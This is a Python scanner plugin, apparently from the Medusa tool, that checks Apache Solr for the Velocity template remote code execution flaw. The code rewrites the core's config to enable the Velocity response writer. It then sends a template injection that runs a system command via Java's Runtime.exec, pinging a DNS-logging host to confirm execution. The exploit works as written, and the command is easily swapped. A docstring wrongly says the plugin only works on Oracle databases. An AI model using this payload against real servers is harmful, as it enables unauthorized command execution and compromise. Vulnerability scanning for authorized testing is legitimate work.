#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
注意！只能对oracle数据库起作用
'''
__author__ = 'Ascotbe'
__times__ = '2019/10/13 22:12 PM'
import urllib.parse
import requests
import json
import ClassCongregation

class VulnerabilityInfo(object):
    def __init__(self,Medusa):
        self.info = {}
        self.info['number']="0" #如果没有CVE或者CNVD编号就填0，CVE编号优先级大于CNVD
        self.info['author'] = "Ascotbe"  # 插件作者
        self.info['createDate'] = "2019-10-30"  # 插件编辑时间
        self.info['disclosure']='2019-10-30'#漏洞披露时间，如果不知道就写编写插件的时间
        self.info['algroup'] = "SolrVelocityTemplateRemoteCodeExecutionVulnerability"  # 插件名称
        self.info['name'] ='SolrVelocity模板远程代码执行漏洞' #漏洞名称
        self.info['affects'] = "Solr"  # 漏洞组件
        self.info['desc_content'] = "近日,国外安全研究员s00py公开了一个Apache Solr的Velocity模板注入的漏洞.经过亚信安全网络攻防实验室研究,发现该0day漏洞真实存在,并且可以攻击最新版本的Solr.目前该漏洞利用详情已经广泛流传于Github以及各大安全群,且公开的EXP可以执行任意命令并自带回显.官方暂未发布补丁."  # 漏洞描述
        self.info['rank'] = "高危"  # 漏洞等级
        self.info['suggest'] = "尽快升级最新系统"  # 修复建议
        self.info['version'] = "ApacheSolr 5.x< = 8.2.0"  # 这边填漏洞影响的版本
        self.info['details'] = Medusa  # 结果

def UrlProcessing(url):
    if url.startswith("http"):#判断是否有http头，如果没有就在下面加入
        res = urllib.parse.urlparse(url)
    else:
        res = urllib.parse.urlparse('http://%s' % url)
    return res.scheme, res.hostname, res.port

payload1='''{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}'''


def medusa(Url,RandomAgent,UnixTimestamp):

    scheme, url, port = UrlProcessing(Url)
    if port is None and scheme == 'https':
        port = 443
    elif port is None and scheme == 'http':
        port = 80
    else:
        port = port
    try:

        headers = {
            'User-Agent': RandomAgent,
            'Content-Type': 'application/x-www-form-urlencoded',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
        }
        payload_url=scheme + "://" + url + ":" + str(port) +'/solr/admin/cores'
        step1 =requests.get(payload_url,timeout=6, headers = headers).text
        data = json.loads(step1)
        if 'status' in data:
            name = ''
            for x in data['status']:
                name = x
            payload = "/solr/"+name+"/config"

            DL = ClassCongregation.Dnslog()
            payload2 = '/solr/'+name+'/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ping {}%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end'.format(DL.dns_host())

            payload_url1 = scheme + "://" + url +":"+ str(port)+ payload
            payload_url2 = scheme + "://" + url + ":" + str(port) + payload2

            payload_data = """{
              "update-queryresponsewriter": {
                "startup": "lazy",
                "name": "velocity",
                "class": "solr.VelocityResponseWriter",
                "template.base.dir": "",
                "solr.resource.loader.enabled": "true",
                "params.resource.loader.enabled": "true"
              }
            }"""
            headers1 = {
                'User-Agent': RandomAgent,
                'Content-Type': 'application/json',
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
                'Accept-Encoding': 'gzip, deflate',

            }
            resp = requests.post(payload_url1,data=payload_data,headers=headers1, timeout=6, verify=False)
            resp2 = requests.get(payload_url2, headers=headers, timeout=6, verify=False)
            con2 = resp2.text
            if DL.result() :
                Medusa = "{} SolrVelocity模板远程代码执行漏洞\r\n验证数据:\r\nDNSlog:{}\r\n".format(url,con2,DL.dns_host())
                _t=VulnerabilityInfo(Medusa)
                ClassCongregation.VulnerabilityDetails(_t.info, url,UnixTimestamp).Write()  # 传入url和扫描到的数据
                ClassCongregation.WriteFile().result(str(url),str(Medusa))#写入文件，url为目标文件名统一传入，Medusa为结果
    except Exception as e:
        _ = VulnerabilityInfo('').info.get('algroup')
        ClassCongregation.ErrorHandling().Outlier(e, _)
        _l = ClassCongregation.ErrorLog().Write(url, _)  # 调用写入类传入URL和错误插件名

